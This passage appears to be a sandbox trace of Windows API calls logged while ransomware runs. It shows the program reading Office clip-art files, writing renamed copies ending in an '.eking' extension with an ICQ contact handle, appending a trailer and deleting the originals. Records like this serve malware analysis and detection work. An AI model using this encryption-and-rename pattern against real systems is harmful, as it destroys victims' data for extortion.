(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0 [0256.029] SetEvent (hEvent=0x2b8) returned 1 [0256.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.031] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3344) returned 1 [0256.031] CloseHandle (hObject=0x38c) returned 1 [0256.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0256.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220 [0256.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.032] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.032] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0256.033] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xd10, lpOverlapped=0x0) returned 1 [0256.049] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xd20, lpOverlapped=0x0) returned 1 [0256.051] WriteFile (in: hFile=0x348, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.051] CloseHandle (hObject=0x38c) returned 1 [0256.051] CloseHandle (hObject=0x348) returned 1 [0256.052] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0 [0256.052] SetEvent (hEvent=0x2b8) returned 1 [0256.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0256.056] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1596) returned 1 [0256.056] CloseHandle (hObject=0x348) returned 1 [0256.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0256.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0256.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0256.057] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.058] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0256.059] ReadFile (in: hFile=0x348, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x63c, lpOverlapped=0x0) returned 1 [0256.063] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x640, lpOverlapped=0x0) returned 1 [0256.066] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.066] CloseHandle (hObject=0x348) returned 1 [0256.067] CloseHandle (hObject=0x38c) returned 1 [0256.067] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0 [0256.067] SetEvent (hEvent=0x2b8) returned 1 [0256.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.069] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7968) returned 1 [0256.069] CloseHandle (hObject=0x38c) returned 1 [0256.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0256.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0256.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0256.278] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.278] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0256.279] ReadFile (in: hFile=0x38c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x1f20, lpOverlapped=0x0) returned 1 [0256.337] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x1f30, lpOverlapped=0x0) returned 1 [0256.339] WriteFile (in: hFile=0x39c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.340] CloseHandle (hObject=0x38c) returned 1 [0256.340] CloseHandle (hObject=0x39c) returned 1 [0256.340] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0 [0256.341] SetEvent (hEvent=0x2b8) returned 1 [0256.341] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0256.342] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=1832) returned 1 [0256.342] CloseHandle (hObject=0x39c) returned 1 [0256.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0256.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0256.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0256.343] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.343] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0256.347] ReadFile (in: hFile=0x39c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x728, lpOverlapped=0x0) returned 1 [0256.386] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x730, lpOverlapped=0x0) returned 1 [0256.387] WriteFile (in: hFile=0x38c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.387] CloseHandle (hObject=0x39c) returned 1 [0256.387] CloseHandle (hObject=0x38c) returned 1 [0256.388] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0 [0256.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.573] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=27858) returned 1 [0256.573] CloseHandle (hObject=0x390) returned 1 [0256.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0256.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0256.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.575] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.575] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0256.576] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x6cd2, lpOverlapped=0x0) returned 1 [0256.673] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x6ce0, lpOverlapped=0x0) returned 1 [0256.677] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.677] CloseHandle (hObject=0x390) returned 1 [0256.677] CloseHandle (hObject=0x374) returned 1 [0256.678] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0 [0256.679] SetEvent (hEvent=0x2b8) returned 1 [0256.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0256.680] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=5836) returned 1 [0256.680] CloseHandle (hObject=0x374) returned 1 [0256.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0256.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0256.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0256.681] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.681] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.681] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x390 [0256.682] ReadFile (in: hFile=0x374, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x16cc, lpOverlapped=0x0) returned 1 [0256.703] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x16d0, lpOverlapped=0x0) returned 1 [0256.705] WriteFile (in: hFile=0x390, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.706] CloseHandle (hObject=0x374) returned 1 [0256.706] CloseHandle (hObject=0x390) returned 1 [0256.706] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0 [0256.707] SetEvent (hEvent=0x2b8) returned 1 [0256.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.708] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3012) returned 1 [0256.708] CloseHandle (hObject=0x390) returned 1 [0256.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0256.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0256.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0256.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0256.710] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.710] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0256.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0256.711] ReadFile (in: hFile=0x390, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xbc4, lpOverlapped=0x0) returned 1 [0256.780] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xbd0, lpOverlapped=0x0) returned 1 [0256.782] WriteFile (in: hFile=0x374, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0256.782] CloseHandle (hObject=0x390) returned 1 [0256.783] CloseHandle (hObject=0x374) returned 1 [0256.783] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0 [0256.784] SetEvent (hEvent=0x2b8) returned 1 [0256.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0256.786] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2756) returned 1 [0256.786] CloseHandle (hObject=0x374) returned 1 [0256.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) 